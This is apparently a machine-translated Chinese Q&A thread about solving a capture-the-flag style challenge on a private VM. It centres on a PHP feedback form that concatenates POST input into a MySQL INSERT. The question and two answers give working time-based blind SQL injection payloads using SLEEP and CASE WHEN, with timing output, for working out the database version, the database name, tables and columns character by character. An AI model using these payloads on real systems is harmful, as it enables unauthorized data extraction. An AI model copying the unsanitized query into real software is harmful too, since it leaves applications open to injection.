我有简单的Web应用程序,允许将消息发布到MySQL数据库。 我的挑战是获取有关该数据库的所有信息。 不幸的是没有输出所以我必须做一个基于时间的盲注。
此有效负载有效,响应需要5秒才能到达客户端。
' RLIKE SLEEP(5) AND '1'='1
我必须以某种方式替换'1'='1
,以便我可以检查表名或用户。
任何想法??
以下是易受攻击的查询的代码。
<?php
if (isset($_POST['feedback'])) {
$id = $_POST['feedback'];
$query = "INSERT INTO `hackdb`.`feedback` (`id` ,`feedback`, `feedback_read`, `created` ,`receiver`) VALUES (NULL,'".$_POST['feedback']."', '0', CURRENT_TIMESTAMP, '17')";
if ($result = $mysqli->query($query)) {
//echo "Done";
} else {
//echo $mysqli->error;
}
echo "Thank you for your feedback! We'll contact you later.";
} else {
echo "";
}
?>
(免责声明:这是一个挑战,我正在VM内的私人服务器上工作。这里没有任何不道德的事情发生在这里)
答案 0 :(得分:0)
仅查看代码,字段反馈容易受到基于时间的盲SQL注入向量的影响。
创建数据库/创建表
CREATE DATABASE IF NOT EXISTS hackdb;
CREATE TABLE IF NOT EXISTS feedback (
feedback VARCHAR(255)
);
您可以使用(SELECT ...)
注入反馈列,因为这是有效的SQL。
<强>查询强>
INSERT INTO
hackdb.feedback
(feedback)
VALUES (
(SELECT 1)
)
<强>结果强>
1 row(s) affected
Execution Time : 0.013 sec
Transfer Time : 0 sec
Total Time : 0.014 sec
测试基于时间的盲SQL注入向量。
<强>查询强>
INSERT INTO
hackdb.feedback
(feedback)
VALUES (
(SELECT SLEEP(5))
)
<强>结果强>
1 row(s) affected
Execution Time : 5.717 sec
Transfer Time : 0 sec
Total Time : 5.718 sec
我们很高兴。
让我们找出数据库版本。
我们可以使用MySQL的VERSION()函数来实现
<强>查询强>
INSERT INTO
hackdb.feedback
(feedback)
VALUES (
(SELECT
CASE
WHEN VERSION() LIKE '5.1%'
THEN SLEEP(5)
ELSE 0
END
FROM
DUAL
)
)
<强>结果强>
1 row(s) affected
Execution Time : 0.014 sec
Transfer Time : 0 sec
Total Time : 0.014 sec
没有宾果
<强>查询强>
INSERT INTO
hackdb.feedback
(feedback)
VALUES (
(SELECT
CASE
WHEN VERSION() LIKE '5.7%'
THEN SLEEP(5)
ELSE 0
END
FROM
DUAL
)
)
<强>结果强>
1 row(s) affected
Execution Time : 5.733 sec
Transfer Time : 0 sec
Total Time : 5.734 sec
Bingo。
现在我们要找到正在使用的数据库。 我们可以使用MySQL的DATABASE()函数。
<强>查询强>
INSERT INTO
hackdb.feedback
(feedback)
VALUES (
(SELECT
CASE
WHEN (SELECT 1 FROM DUAL WHERE DATABASE() LIKE 's%')
THEN SLEEP(5)
ELSE 0
END
FROM
DUAL
)
)
<强>结果强>
1 row(s) affected
Execution Time : 0.014 sec
Transfer Time : 0 sec
Total Time : 0.015 sec
没有宾果
<强>查询强>
INSERT INTO
hackdb.feedback
(feedback)
VALUES (
(SELECT
CASE
WHEN (SELECT 1 FROM DUAL WHERE DATABASE() LIKE 'h%')
THEN SLEEP(5)
ELSE 0
END
FROM
DUAL
)
)
<强>结果强>
1 row(s) affected
Execution Time : 5.715 sec
Transfer Time : 0 sec
Total Time : 5.716 sec
<强>宾果强>
现在您可以在LIKE部分中添加第二个字符,依此类推。
我已经给你一些基本的基于时间的盲SQL注入向量。
由您来查找数据库中的表格
我不想破坏你的完整挑战。
答案 1 :(得分:0)
表和插入
CREATE TABLE foo_test
(id BIGINT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY
, blah VARCHAR(100)
) ;
INSERT INTO foo_test (id,blah) VALUES (NULL,'payload') ;
payload
无效的表/视图名称 - 获得快速响应
payload = 1' AND (SELECT 1 FROM feedback WHERE 0=1) AND SLEEP(5) AND '1
执行时间:0秒
错误代码:1146
表&#39; test.feedback&#39;不存在
好的表名 - 5秒以上
payload = 1' AND (SELECT 1 FROM foo WHERE 0=1) AND SLEEP(5) AND '1
执行时间:5.198秒
1行受影响
错误的列名称 - 快速回复
payload = 1' AND (SELECT bar FROM foo WHERE 0=1) AND SLEEP(5) AND '1
执行时间:0秒
错误代码:1054
未知专栏&#39; bar&#39;在&#39;字段列表&#39;